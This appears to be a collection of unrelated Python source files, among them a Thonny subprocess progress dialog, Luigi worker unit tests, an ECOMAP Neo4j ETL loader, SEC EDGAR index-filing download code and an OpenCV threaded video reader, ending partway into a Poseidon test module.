import logging import os import queue import signal import subprocess import threading import time import tkinter as tk from tkinter import ttk, messagebox from typing import Optional from thonny import tktextext from thonny.languages import tr from thonny.misc_utils import running_on_windows from thonny.ui_utils import CommonDialog, ems_to_pixels, create_action_label, set_text_if_different logger = logging.getLogger(__name__) class WorkDialog(CommonDialog): def __init__(self, master, autostart=False): super(WorkDialog, self).__init__(master) self._autostart = autostart self._state = "idle" self.success = False self._work_events_queue = queue.Queue() self.init_instructions_frame() self.init_main_frame() self.init_action_frame() self.init_log_frame() self.populate_main_frame() self.rowconfigure(4, weight=1) # log frame self.columnconfigure(0, weight=1) self.title(self.get_title()) self.stdout = "" self.stderr = "" self._update_scheduler = None self._keep_updating_ui() self.bind("<Escape>", self.on_cancel, True) self.protocol("WM_DELETE_WINDOW", self.on_cancel) if self._autostart: self.on_ok() def populate_main_frame(self): pass def is_ready_for_work(self): return True def init_instructions_frame(self): instructions = self.get_instructions() self.instructions_frame = ttk.Frame(self, style="Tip.TFrame") self.instructions_frame.grid(row=0, column=0, sticky="nsew") self.instructions_frame.rowconfigure(0, weight=1) self.instructions_frame.columnconfigure(0, weight=1) pad = self.get_padding() self.instructions_label = ttk.Label(self, style="Tip.TLabel", text=instructions) self.instructions_label.grid(row=0, column=0, sticky="w", padx=pad, pady=pad) def get_instructions(self) -> Optional[str]: return None def init_main_frame(self): self.main_frame = ttk.Frame(self) self.main_frame.grid(row=1, column=0, sticky="nsew") def init_action_frame(self): padding = self.get_padding() intpad = self.get_internal_padding() self.action_frame = ttk.Frame(self) self.action_frame.grid(row=2, column=0, sticky="nsew") self._progress_bar = ttk.Progressbar( self.action_frame, length=ems_to_pixels(4), mode="indeterminate" ) self._current_action_label = create_action_label( self.action_frame, text="", width=round(self.get_action_text_max_length() * 1.1), click_handler=self.toggle_log_frame, ) self._current_action_label.grid( row=1, column=2, sticky="we", pady=padding, padx=(0, intpad) ) self._ok_button = ttk.Button( self.action_frame, text=self.get_ok_text(), command=self.on_ok, state="disabled", default="active", ) if not self._autostart: self._ok_button.grid(column=4, row=1, pady=padding, padx=(0, intpad)) self._cancel_button = ttk.Button( self.action_frame, text=self.get_cancel_text(), command=self.on_cancel, ) self._cancel_button.grid(column=5, row=1, padx=(0, padding), pady=padding) self.action_frame.columnconfigure(2, weight=1) def get_action_text_max_length(self): return 35 def init_log_frame(self): self.log_frame = ttk.Frame(self) self.log_frame.columnconfigure(1, weight=1) self.log_frame.rowconfigure(1, weight=1) fixed_font = tk.font.nametofont("TkFixedFont") font = fixed_font.copy() font.configure(size=round(fixed_font.cget("size") * 0.8)) self.log_text = tktextext.TextFrame( self.log_frame, horizontal_scrollbar=False, wrap="word", borderwidth=1, height=5, width=20, font=font, read_only=True, ) padding = self.get_padding() self.log_text.grid(row=1, column=1, sticky="nsew", padx=padding, pady=(0, padding)) def update_ui(self): if self._state == "closed": return while not self._work_events_queue.empty(): self.handle_work_event(*self._work_events_queue.get()) if self._state == "closed": return if self._state == "idle": if self.is_ready_for_work(): self._ok_button.configure(state="normal") else: self._ok_button.configure(state="disabled") else: self._ok_button.configure(state="disabled") if self._state == "done": set_text_if_different(self._cancel_button, tr("Close")) else: set_text_if_different(self._cancel_button, tr("Cancel")) def start_work(self): pass def get_title(self): return "Work dialog" def _keep_updating_ui(self): if self._state != "closed": self.update_ui() self._update_scheduler = self.after(200, self._keep_updating_ui) else: self._update_scheduler = None def close(self): self._state = "closed" if self._update_scheduler is not None: try: self.after_cancel(self._update_scheduler) except tk.TclError: pass self.destroy() def cancel_work(self): # worker should periodically check this value self._state = "cancelling" self.set_action_text(tr("Cancelling")) def toggle_log_frame(self, event=None): if self.log_frame.winfo_ismapped(): self.log_frame.grid_forget() self.rowconfigure(2, weight=1) self.rowconfigure(4, weight=0) else: self.log_frame.grid(row=4, column=0, sticky="nsew") self.rowconfigure(2, weight=0) self.rowconfigure(4, weight=1) def get_ok_text(self): return tr("OK") def get_cancel_text(self): return tr("Cancel") def on_ok(self, event=None): assert self._state == "idle" if self.start_work() is not False: self._state = "working" self.success = False self.grid_progress_widgets() self._progress_bar["mode"] = "indeterminate" self._progress_bar.start() if not self._current_action_label["text"]: self._current_action_label["text"] = tr("Starting") + "..." def grid_progress_widgets(self): padding = self.get_padding() intpad = self.get_internal_padding() self._progress_bar.grid(row=1, column=1, sticky="w", padx=(padding, intpad), pady=padding) def on_cancel(self, event=None): if self._state in ("idle", "done"): self.close() elif self._state == "cancelling" and self.confirm_leaving_while_cancelling(): self.close() elif self.confirm_cancel(): self.cancel_work() def confirm_leaving_while_cancelling(self): return messagebox.askyesno( "Close dialog?", "Cancelling is in progress.\nDo you still want to close the dialog?", parent=self, ) def confirm_cancel(self): return messagebox.askyesno( "Cancel work?", "Are you sure you want to cancel?", parent=self, ) def append_text(self, text: str, stream_name="stdout") -> None: """Appends text to the details box. May be called from another thread.""" self._work_events_queue.put(("append", (text, stream_name))) setattr(self, stream_name, getattr(self, stream_name) + text) def replace_last_line(self, text: str, stream_name="stdout") -> None: """Replaces last line in the details box. May be called from another thread.""" self._work_events_queue.put(("replace", (text, stream_name))) setattr(self, stream_name, getattr(self, stream_name) + text) def report_progress(self, value: float, maximum: float) -> None: """Updates progress bar. May be called from another thread.""" self._work_events_queue.put(("progress", (value, maximum))) def set_action_text(self, text: str) -> None: """Updates text above the progress bar. May be called from another thread.""" self._work_events_queue.put(("action", (text,))) def set_action_text_smart(self, text: str) -> None: """Updates text above the progress bar. May be called from another thread.""" text = text.strip() if not text: return if len(text) > self.get_action_text_max_length(): text = text[: self.get_action_text_max_length() - 3] + "..." self.set_action_text(text) def report_done(self, success): """May be called from another thread.""" self._work_events_queue.put(("done", (success,))) def handle_work_event(self, type, args): if type in ("append", "replace"): text, stream_name = args if type == "replace": self.log_text.text.direct_delete("end-1c linestart", "end-1c") self.log_text.text.direct_insert("end", text, (stream_name,)) self.log_text.text.see("end") elif type == "action": set_text_if_different(self._current_action_label, args[0]) elif type == "progress": value, maximum = args if value is None or maximum is None: if self._progress_bar["mode"] != "indeterminate": self._progress_bar["mode"] = "indeterminate" self._progress_bar.start() else: if self._progress_bar["mode"] != "determinate": self._progress_bar["mode"] = "determinate" self._progress_bar.stop() self._progress_bar.configure(value=value, maximum=maximum) elif type == "done": self.on_done(args[0]) def on_done(self, success): """NB! Don't call from non-ui thread!""" self.success = success if self.success: self._state = "done" self._cancel_button.focus_set() self._cancel_button["default"] = "active" self._ok_button["default"] = "normal" elif self._autostart: # Can't try again if failed with autostart self._state = "done" self._cancel_button.focus_set() self._cancel_button["default"] = "active" self._ok_button["default"] = "normal" else: # allows trying again when failed self._state = "idle" self._ok_button.focus_set() self._ok_button["default"] = "active" self._cancel_button["default"] = "normal" self._progress_bar.stop() # need to put to determinate mode, otherwise it looks half done self._progress_bar["mode"] = "determinate" if self.success and self._autostart and not self.log_frame.winfo_ismapped(): self.close() if not self.success and not self.log_frame.winfo_ismapped(): self.toggle_log_frame() class SubprocessDialog(WorkDialog): """Shows incrementally the output of given subprocess. Allows cancelling""" def __init__(self, master, proc, title, long_description=None, autostart=True): self._proc = proc self.stdout = "" self.stderr = "" self._stdout_thread = None self._stderr_thread = None self._title = title self._long_description = long_description self.returncode = None super().__init__(master, autostart=autostart) def is_ready_for_work(self): return True def get_title(self): return self._title def get_instructions(self) -> Optional[str]: return self._long_description def start_work(self): if hasattr(self._proc, "cmd"): try: self.append_text(subprocess.list2cmdline(self._proc.cmd) + "\n") except: logger.warning("Could not extract cmd (%s)", self._proc.cmd) self._start_listening_current_proc() def _start_listening_current_proc(self): def listen_stream(stream_name): stream = getattr(self._proc, stream_name) while True: data = stream.readline() self.append_text(data, stream_name) self._check_set_action_text_from_output_line(data) setattr(self, stream_name, getattr(self, stream_name) + data) if data == "": logger.debug("Finished reading %s", stream_name) break if stream_name == "stdout": self._finish_process() logger.debug("Returning from reading %s", stream_name) self._stdout_thread = threading.Thread(target=listen_stream, args=["stdout"], daemon=True) self._stdout_thread.start() if self._proc.stderr is not None: self._stderr_thread = threading.Thread( target=listen_stream, args=["stderr"], daemon=True ) self._stderr_thread.start() def _finish_process(self): self.returncode = self._proc.wait() logger.debug("Process ended with returncode %s", self.returncode) if self.returncode: self.set_action_text("Error") self.append_text("Error: process returned with code %s\n" % self.returncode) else: self.set_action_text("Done!") self.append_text("Done!") self.report_done(self.returncode == 0) def get_action_text_max_length(self): return 35 def _check_set_action_text_from_output_line(self, line): if len(line) > self.get_action_text_max_length(): line = line[: self.get_action_text_max_length() - 3].strip() + "..." if line: self.set_action_text(line.strip()) def cancel_work(self): super().cancel_work() # try gently first try: try: if running_on_windows(): os.kill(self._proc.pid, signal.CTRL_BREAK_EVENT) # pylint: disable=no-member else: os.kill(self._proc.pid, signal.SIGINT) self._proc.wait(2) except subprocess.TimeoutExpired: if self._proc.poll() is None: # now let's be more concrete self._proc.kill() except OSError as e: messagebox.showerror("Error", "Could not kill subprocess: " + str(e), master=self) logger.error("Could not kill subprocess", exc_info=e)
worker_test.py
# Copyright (c) 2012 Spotify AB # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. import time from luigi.scheduler import CentralPlannerScheduler import luigi.worker from luigi.worker import Worker from luigi import Task, ExternalTask, RemoteScheduler from helpers import with_config import unittest import logging import threading import luigi.notifications luigi.notifications.DEBUG = True class DummyTask(Task): def __init__(self, *args, **kwargs): super(DummyTask, self).__init__(*args, **kwargs) self.has_run = False def complete(self): return self.has_run def run(self): logging.debug("%s - setting has_run", self.task_id) self.has_run = True class WorkerTest(unittest.TestCase): def setUp(self): # InstanceCache.disable() self.sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) self.w = Worker(scheduler=self.sch, worker_id='X') self.w2 = Worker(scheduler=self.sch, worker_id='Y') self.time = time.time def tearDown(self): if time.time != self.time: time.time = self.time self.w.stop() self.w2.stop() def setTime(self, t): time.time = lambda: t def test_dep(self): class A(Task): def run(self): self.has_run = True def complete(self): return self.has_run a = A() class B(Task): def requires(self): return a def run(self): self.has_run = True def complete(self): return self.has_run b = B() a.has_run = False b.has_run = False self.assertTrue(self.w.add(b)) self.assertTrue(self.w.run()) self.assertTrue(a.has_run) self.assertTrue(b.has_run) def test_external_dep(self): class A(ExternalTask): def complete(self): return False a = A() class B(Task): def requires(self): return a def run(self): self.has_run = True def complete(self): return self.has_run b = B() a.has_run = False b.has_run = False self.assertTrue(self.w.add(b)) self.assertTrue(self.w.run()) self.assertFalse(a.has_run) self.assertFalse(b.has_run) def test_fail(self): class A(Task): def run(self): self.has_run = True raise Exception() def complete(self): return self.has_run a = A() class B(Task): def requires(self): return a def run(self): self.has_run = True def complete(self): return self.has_run b = B() a.has_run = False b.has_run = False self.assertTrue(self.w.add(b)) self.assertFalse(self.w.run()) self.assertTrue(a.has_run) self.assertFalse(b.has_run) def test_unknown_dep(self): # see central_planner_test.CentralPlannerTest.test_remove_dep class A(ExternalTask): def complete(self): return False class C(Task): def complete(self): return True def get_b(dep): class B(Task): def requires(self): return dep def run(self): self.has_run = True def complete(self): return False b = B() b.has_run = False return b b_a = get_b(A()) b_c = get_b(C()) self.assertTrue(self.w.add(b_a)) # So now another worker goes in and schedules C -> B # This should remove the dep A -> B but will screw up the first worker self.assertTrue(self.w2.add(b_c)) self.assertFalse(self.w.run()) # should not run anything - the worker should detect that A is broken self.assertFalse(b_a.has_run) # not sure what should happen?? # self.w2.run() # should run B since C is fulfilled # self.assertTrue(b_c.has_run) def test_unfulfilled_dep(self): class A(Task): def complete(self): return self.done def run(self): self.done = True def get_b(a): class B(A): def requires(self): return a b = B() b.done = False a.done = True return b a = A() b = get_b(a) self.assertTrue(self.w.add(b)) a.done = False self.w.run() self.assertTrue(a.complete()) self.assertTrue(b.complete()) def test_avoid_infinite_reschedule(self): class A(Task): def complete(self): return False class B(Task): def complete(self): return False def requires(self): return A() self.assertTrue(self.w.add(B())) self.assertFalse(self.w.run()) def test_interleaved_workers(self): class A(DummyTask): pass a = A() class B(DummyTask): def requires(self): return a class ExternalB(ExternalTask): task_family = "B" def complete(self): return False b = B() eb = ExternalB() self.assertEquals(eb.task_id, "B()") sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) w = Worker(scheduler=sch, worker_id='X') w2 = Worker(scheduler=sch, worker_id='Y') self.assertTrue(w.add(b)) self.assertTrue(w2.add(eb)) logging.debug("RUNNING BROKEN WORKER") self.assertTrue(w2.run()) self.assertFalse(a.complete()) self.assertFalse(b.complete()) logging.debug("RUNNING FUNCTIONAL WORKER") self.assertTrue(w.run()) self.assertTrue(a.complete()) self.assertTrue(b.complete()) w.stop() w2.stop() def test_interleaved_workers2(self): # two tasks without dependencies, one external, one not class B(DummyTask): pass class ExternalB(ExternalTask): task_family = "B" def complete(self): return False b = B() eb = ExternalB() self.assertEquals(eb.task_id, "B()") sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) w = Worker(scheduler=sch, worker_id='X') w2 = Worker(scheduler=sch, worker_id='Y') self.assertTrue(w2.add(eb)) self.assertTrue(w.add(b)) self.assertTrue(w2.run()) self.assertFalse(b.complete()) self.assertTrue(w.run()) self.assertTrue(b.complete()) w.stop() w2.stop() def test_interleaved_workers3(self): class A(DummyTask): def run(self): logging.debug('running A') time.sleep(0.1) super(A, self).run() a = A() class B(DummyTask): def requires(self): return a def run(self): logging.debug('running B') super(B, self).run() b = B() sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) w = Worker(scheduler=sch, worker_id='X', keep_alive=True) w2 = Worker(scheduler=sch, worker_id='Y', keep_alive=True, wait_interval=0.1) self.assertTrue(w.add(a)) self.assertTrue(w2.add(b)) threading.Thread(target=w.run).start() self.assertTrue(w2.run()) self.assertTrue(a.complete()) self.assertTrue(b.complete()) w.stop() w2.stop() def test_complete_exception(self): "Tests that a task is still scheduled if its sister task crashes in the complete() method" class A(DummyTask): def complete(self): raise Exception("doh") a = A() class C(DummyTask): pass c = C() class B(DummyTask): def requires(self): return a, c b = B() sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) w = Worker(scheduler=sch, worker_id="foo") self.assertFalse(w.add(b)) self.assertTrue(w.run()) self.assertFalse(b.has_run) self.assertTrue(c.has_run) self.assertFalse(a.has_run) w.stop() def test_requires_exception(self): class A(DummyTask): def requires(self): raise Exception("doh") a = A() class C(DummyTask): pass c = C() class B(DummyTask): def requires(self): return a, c b = B() sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) w = Worker(scheduler=sch, worker_id="foo") self.assertFalse(w.add(b)) self.assertTrue(w.run()) self.assertFalse(b.has_run) self.assertTrue(c.has_run) self.assertFalse(a.has_run) w.stop() class WorkerPingThreadTests(unittest.TestCase): def test_ping_retry(self): """ Worker ping fails once. Ping continues to try to connect to scheduler Kind of ugly since it uses actual timing with sleep to test the thread """ sch = CentralPlannerScheduler( retry_delay=100, remove_delay=1000, worker_disconnect_delay=10, ) self._total_pings = 0 # class var so it can be accessed from fail_ping def fail_ping(worker): # this will be called from within keep-alive thread... self._total_pings += 1 raise Exception("Some random exception") sch.ping = fail_ping w = Worker( scheduler=sch, worker_id="foo", ping_interval=0.01 # very short between pings to make test fast ) # let the keep-alive thread run for a bit... time.sleep(0.1) # yes, this is ugly but it's exactly what we need to test w.stop() self.assertTrue( self._total_pings > 1, msg="Didn't retry pings (%d pings performed)" % (self._total_pings,) ) def test_ping_thread_shutdown(self): w = Worker(ping_interval=0.01) self.assertTrue(w._keep_alive_thread.is_alive()) w.stop() # should stop within 0.01 s self.assertFalse(w._keep_alive_thread.is_alive()) EMAIL_CONFIG = {"core": {"error-email": "not-a-real-email-address-for-test-only"}} class EmailTest(unittest.TestCase): def setUp(self): super(EmailTest, self).setUp() self.send_email = luigi.notifications.send_email self.last_email = None def mock_send_email(subject, message, sender, recipients, image_png=None): self.last_email = (subject, message, sender, recipients, image_png) luigi.notifications.send_email = mock_send_email def tearDown(self): luigi.notifications.send_email = self.send_email class WorkerEmailTest(EmailTest): def setUp(self): super(WorkerEmailTest, self).setUp() sch = CentralPlannerScheduler(retry_delay=100, remove_delay=1000, worker_disconnect_delay=10) self.worker = Worker(scheduler=sch, worker_id="foo") def tearDown(self): self.worker.stop() @with_config(EMAIL_CONFIG) def test_connection_error(self): sch = RemoteScheduler(host="this_host_doesnt_exist", port=1337, connect_timeout=1) worker = Worker(scheduler=sch) self.waits = 0 def dummy_wait(): self.waits += 1 sch._wait = dummy_wait class A(DummyTask): pass a = A() self.assertEquals(self.last_email, None) worker.add(a) self.assertEquals(self.waits, 2) # should attempt to add it 3 times self.assertNotEquals(self.last_email, None) self.assertEquals(self.last_email[0], "Luigi: Framework error while scheduling %s" % (a,)) worker.stop() @with_config(EMAIL_CONFIG) def test_complete_error(self): class A(DummyTask): def complete(self): raise Exception("b0rk") a = A() self.assertEquals(self.last_email, None) self.worker.add(a) self.assertEquals(("Luigi: %s failed scheduling" % (a,)), self.last_email[0]) self.worker.run() self.assertEquals(("Luigi: %s failed scheduling" % (a,)), self.last_email[0]) self.assertFalse(a.has_run) @with_config(EMAIL_CONFIG) def test_complete_return_value(self): class A(DummyTask): def complete(self): pass # no return value should be an error a = A() self.assertEquals(self.last_email, None) self.worker.add(a) self.assertEquals(("Luigi: %s failed scheduling" % (a,)), self.last_email[0]) self.worker.run() self.assertEquals(("Luigi: %s failed scheduling" % (a,)), self.last_email[0]) self.assertFalse(a.has_run) @with_config(EMAIL_CONFIG) def test_run_error(self): class A(luigi.Task): def complete(self): return False def run(self): raise Exception("b0rk") a = A() self.worker.add(a) self.assertEquals(self.last_email, None) self.worker.run() self.assertEquals(("Luigi: %s FAILED" % (a,)), self.last_email[0]) def test_no_error(self): class A(DummyTask): pass a = A() self.assertEquals(self.last_email, None) self.worker.add(a) self.assertEquals(self.last_email, None) self.worker.run() self.assertEquals(self.last_email, None) self.assertTrue(a.complete()) if __name__ == '__main__': unittest.main()
ecomap_etl.py
"""ECOMAP ETL.""" import logging import multiprocessing from etl import ETL from files import TXTFile from transactors import CSVTransactor from transactors import Neo4jTransactor class ECOMAPETL(ETL): """ECOMAP ETL.""" logger = logging.getLogger(__name__) # Query templates which take params and will be processed later eco_query_template = """ USING PERIODIC COMMIT %s LOAD CSV WITH HEADERS FROM \'file:///%s\' AS row MATCH (e:ECOTerm:Ontology {primaryKey: row.ecoId}) SET e.displaySynonym = row.threeLetterCode""" def __init__(self, config): """Initilaise object.""" super().__init__() self.data_type_config = config def _load_and_process_data(self): thread_pool = [] for sub_type in self.data_type_config.get_sub_type_objects(): process = multiprocessing.Process(target=self._process_sub_type, args=(sub_type,)) process.start() thread_pool.append(process) ETL.wait_for_threads(thread_pool) def _process_sub_type(self, sub_type): self.logger.info("Loading ECOMAP Ontology Data: %s", sub_type.get_data_provider()) commit_size = self.data_type_config.get_neo4j_commit_size() batch_size = self.data_type_config.get_generator_batch_size() filepath = sub_type.get_filepath() # This needs to be in this format (template, param1, params2) others will be ignored query_template_list = [ [self.eco_query_template, commit_size, "ecomap_data_" + sub_type.get_data_provider() + ".csv"], ] # Obtain the generator generators = self.get_generators(filepath, batch_size) query_and_file_list = self.process_query_params(query_template_list) CSVTransactor.save_file_static(generators, query_and_file_list) Neo4jTransactor.execute_query_batch(query_and_file_list) self.error_messages("Ecomap-{}: ".format(sub_type.get_data_provider())) self.logger.info("Finished Loading ECOMAP Data: %s", sub_type.get_data_provider()) def get_generators(self, filepath, batch_size): """Create Generator.""" data = TXTFile(filepath).get_data() eco_maps = [] for line in data: columns = line.split() if columns[0].startswith('#'): continue eco = {"ecoId": columns[1], "threeLetterCode": columns[0]} eco_maps.append(eco) yield [eco_maps]
_index.py
import asyncio import os import re import shutil from abc import abstractmethod from collections import namedtuple from queue import Empty, Queue from threading import Thread from secedgar.client import NetworkClient from secedgar.filings._base import AbstractFiling from secedgar.utils import make_path from secedgar.utils.exceptions import EDGARQueryError class IndexFilings(AbstractFiling): """Abstract Base Class for index filings. Attributes: client (secedgar.client._base, optional): Client to use. Defaults to ``secedgar.client.NetworkClient``. entry_filter (function, optional): A boolean function to determine if the FilingEntry should be kept. E.g. `lambda l: l.form_type == "4"`. Defaults to `None`. kwargs: Any keyword arguments to pass to ``NetworkClient`` if no client is specified. """ def __init__(self, client=None, entry_filter=None, **kwargs): super().__init__() self._client = client if client is not None else NetworkClient(**kwargs) self._listings_directory = None self._master_idx_file = None self._filings_dict = None self._paths = [] self._urls = {} self._entry_filter = entry_filter @property def entry_filter(self): """A boolean function to be tested on each listing entry. This is tested regardless of download method. """ return self._entry_filter @property def client(self): """``secedgar.client._base``: Client to use to make requests.""" return self._client @property def params(self): """Params should be empty.""" return {} @property @abstractmethod def year(self): """Passed to children classes.""" pass # pragma: no cover @property @abstractmethod def quarter(self): """Passed to children classes.""" pass # pragma: no cover @property @abstractmethod def idx_filename(self): """Passed to children classes.""" pass # pragma: no cover @abstractmethod def _get_tar(self): """Passed to child classes.""" pass # pragma: no cover @property def tar_path(self): """str: Tar.gz path added to the client base.""" return "Archives/edgar/Feed/{year}/QTR{num}/".format(year=self.year, num=self.quarter) def _get_listings_directory(self, update_cache=False, **kwargs): """Get page with list of all idx files for given date or quarter. Args: update_cache (bool, optional): Whether quarterly directory should update cache. Defaults to False. kwargs: Any keyword arguments to pass to the client's `get_response` method. Returns: response (requests.Response): Response object from page with all idx files for given quarter and year. """ if self._listings_directory is None or update_cache: self._listings_directory = self.client.get_response(self.path, self.params, **kwargs) return self._listings_directory def _get_master_idx_file(self, update_cache=False, **kwargs): """Get master file with all filings from given date. Args: update_cache (bool, optional): Whether master index should be updated method call. Defaults to False. kwargs: Keyword arguments to pass to ``secedgar.client._base.AbstractClient.get_response``. Returns: text (str): Idx file text. Raises: EDGARQueryError: If no file of the form master.<DATE>.idx is found. """ if self._master_idx_file is None or update_cache: if self.idx_filename in self._get_listings_directory().text: master_idx_url = "{path}{filename}".format( path=self.path, filename=self.idx_filename) self._master_idx_file = self.client.get_response( master_idx_url, self.params, **kwargs).text else: raise EDGARQueryError("""File {filename} not found. There may be no filings for the given day/quarter.""".format( filename=self.idx_filename)) return self._master_idx_file def get_filings_dict(self, update_cache=False, **kwargs): """Get all filings inside an idx file. Args: update_cache (bool, optional): Whether filings dict should be updated on each method call. Defaults to False. kwargs: Any kwargs to pass to _get_master_idx_file. See ``secedgar.filings.daily.DailyFilings._get_master_idx_file``. """ if self._filings_dict is None or update_cache: idx_file = self._get_master_idx_file(**kwargs) # Will have CIK as keys and list of FilingEntry namedtuples as values self._filings_dict = {} FilingEntry = namedtuple( "FilingEntry", ["cik", "company_name", "form_type", "date_filed", "file_name", "path"]) # idx file will have lines of the form CIK|Company Name|Form Type|Date Filed|File Name entries = re.findall(r'^[0-9]+[|].+[|].+[|][0-9\-]+[|].+$', idx_file, re.MULTILINE) for entry in entries: fields = entry.split("|") path = "Archives/{file_name}".format(file_name=fields[-1]) entry = FilingEntry(*fields, path=path) if self.entry_filter is not None and not self.entry_filter(entry): continue # Add new filing entry to CIK's list if entry.cik in self._filings_dict: self._filings_dict[entry.cik].append(entry) else: self._filings_dict[entry.cik] = [entry] return self._filings_dict def get_urls(self): """Get all URLs for day. Expects client _BASE to have trailing "/" for final URLs. Returns: urls (list of str): List of all URLs to get. """ if not self._urls: filings_dict = self.get_filings_dict() self._urls = {company: [self.client._prepare_query(entry.path) for entry in entries] for company, entries in filings_dict.items()} return self._urls @staticmethod def _do_create_and_copy(q): """Create path and copy file to end of path. Args: q (Queue.queue): Queue to get filename, new directory, and old path information from. """ while True: try: filename, new_dir, old_path = q.get(timeout=1) except Empty: return make_path(new_dir) path = os.path.join(new_dir, filename) shutil.copyfile(old_path, path) q.task_done() @staticmethod def _do_unpack_archive(q, extract_directory): """Unpack archive file in given extract directory. Args: q (Queue.queue): Queue to get filname from. extract_directory (): Where to extract archive file. """ while True: try: filename = q.get(timeout=1) except Empty: return shutil.unpack_archive(filename, extract_directory) os.remove(filename) q.task_done() def _unzip(self, extract_directory): """Unzips files from tar files into extract directory. Args: extract_directory (str): Temporary path to extract files to. Note that this directory will be completely removed after files are unzipped. """ tar_files = self._get_tar() unpack_queue = Queue(maxsize=len(tar_files)) unpack_threads = len(tar_files) for _ in range(unpack_threads): worker = Thread(target=self._do_unpack_archive, args=(unpack_queue, extract_directory)) worker.start() for f in tar_files: full_path = os.path.join(extract_directory, f) unpack_queue.put_nowait(full_path) unpack_queue.join() def _move_to_dest(self, urls, extract_directory, directory, file_pattern, dir_pattern): """Moves all files from extract_directory into proper final format in directory. Args: urls (dict): Dictionary of URLs that were retrieved. See ``secedgar.filings._index.IndexFilings.get_urls()`` for more. extract_directory (str): Location of extract directory as used in ``secedgar.filings.daily.DailyFilings._unzip`` directory (str): Final parent directory to move files to. dir_pattern (str): Format string for subdirectories. Default is `{cik}`. Valid options are `cik`. See ``save`` method for more. file_pattern (str): Format string for files. Default is `{accession_number}`. Valid options are `accession_number`. See ``save`` method for more. """ # Allocate threads to move files according to pattern link_list = [item for links in urls.values() for item in links] move_queue = Queue(maxsize=len(link_list)) move_threads = 64 for _ in range(move_threads): worker = Thread(target=self._do_create_and_copy, args=(move_queue,)) worker.start() (_, _, extracted_files) = next(os.walk(extract_directory)) for link in link_list: link_cik = link.split('/')[-2] link_accession = self.get_accession_number(link) filepath = link_accession.split('.')[0] possible_endings = ('nc', 'corr04', 'corr03', 'corr02', 'corr01') for ending in possible_endings: full_filepath = filepath + '.' + ending # If the filepath is found, move it to the correct path if full_filepath in extracted_files: formatted_dir = dir_pattern.format(cik=link_cik) formatted_file = file_pattern.format( accession_number=link_accession) old_path = os.path.join(extract_directory, full_filepath) full_dir = os.path.join(directory, formatted_dir) move_queue.put_nowait((formatted_file, full_dir, old_path)) break move_queue.join() def save_filings(self, directory, dir_pattern="{cik}", file_pattern="{accession_number}", download_all=False): """Save all filings. Will store all filings under the parent directory of ``directory``, further separating filings using ``dir_pattern`` and ``file_pattern``. Args: directory (str): Directory where filings should be stored. dir_pattern (str): Format string for subdirectories. Default is `{cik}`. Valid options are `{cik}`. file_pattern (str): Format string for files. Default is `{accession_number}`. Valid options are `{accession_number}`. download_all (bool): Type of downloading system, if true downloads all tar files, if false downloads each file in index. Default is `False`. """ urls = self._check_urls_exist() if download_all: # Download tar files into huge temp directory extract_directory = os.path.join(directory, 'temp') i = 0 while os.path.exists(extract_directory): # Ensure that there is no name clashing extract_directory = os.path.join(directory, 'temp{i}'.format(i=i)) i += 1 make_path(extract_directory) self._unzip(extract_directory=extract_directory) self._move_to_dest(urls=urls, extract_directory=extract_directory, directory=directory, file_pattern=file_pattern, dir_pattern=dir_pattern) # Remove the initial extracted data shutil.rmtree(extract_directory) else: inputs = [] for company, links in urls.items(): formatted_dir = dir_pattern.format(cik=company) for link in links: formatted_file = file_pattern.format( accession_number=self.get_accession_number(link)) path = os.path.join(directory, formatted_dir, formatted_file) inputs.append((link, path)) loop = asyncio.get_event_loop() loop.run_until_complete(self.client.wait_for_download_async(inputs))
async_video_stream.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = "Christian Heider Nielsen" __doc__ = r""" Created on 25-01-2021 """ from threading import Thread from typing import Any, Union import cv2 __all__ = ["AsyncVideoStream"] class AsyncVideoStream: """ """ def __init__( self, src: Union[int, str] = 0, thread_name: str = None, group: Any = None ): """ threaded async wrapper around opencv cv2.VideoCapture with alike interface :param src: :param thread_name: """ self._stream = cv2.VideoCapture(src) (self.grabbed, self.frame) = self._stream.read() self._stopped = False self._thread = Thread( target=self.update, name=thread_name, args=(), daemon=True, group=group ) def start(self): """ # start the thread to read frames from the video stream :return: """ self._thread.start() return self def update(self): """ """ while not self._stopped: # keep looping infinitely until the thread is stopped ( self.grabbed, self.frame, ) = self._stream.read() # otherwise, read the next frame from the stream def read(self): """ """ return self.grabbed, self.frame # return the frame most recently read def stop(self): """ """ self._stream.release() self._stopped = True # indicate that the thread should be stopped # noinspection PyPep8Naming def isOpened(self): """ """ return self._stream.isOpened() def __call__(self, *args, **kwargs): return self.frame def __next__(self): return self.frame def __iter__(self): return self.start() def __del__(self): self.stop() self._thread.join() def __enter__(self): return self.start() def __exit__(self, exc_type, exc_val, exc_tb): self.stop() if __name__ == "__main__": for a in AsyncVideoStream(): pass
test_main.py
# -*- coding: utf-8 -*- """ Test module for poseidon.py Created on 28 June 2016 @author: Charlie Lewis, dgrossman, MShel """ import json import logging import queue import time import schedule from faucetconfgetsetter import FaucetLocalConfGetSetter from faucetconfgetsetter import get_sdn_connect from faucetconfgetsetter import get_test_config from poseidon_core.constants import NO_DATA from poseidon_core.controllers.sdnconnect import SDNConnect from poseidon_core.controllers.sdnevents import SDNEvents from poseidon_core.helpers.config import Config from poseidon_core.helpers.endpoint import endpoint_factory from poseidon_core.helpers.metadata import DNSResolver from poseidon_core.helpers.prometheus import Prometheus from poseidon_core.helpers.rabbit import Rabbit from poseidon_core.operations.monitor import Monitor from prometheus_client import REGISTRY logger = logging.getLogger('test') # initialize here since prometheus keeps a global registry prom = Prometheus() prom.initialize_metrics() def test_rdns(): resolver = DNSResolver() for _ in range(3): res = resolver.resolve_ips({'8.8.8.8', '8.8.4.4', '1.1.1.1'}) for name in res.values(): assert name != NO_DATA def test_mirror_endpoint(): s = 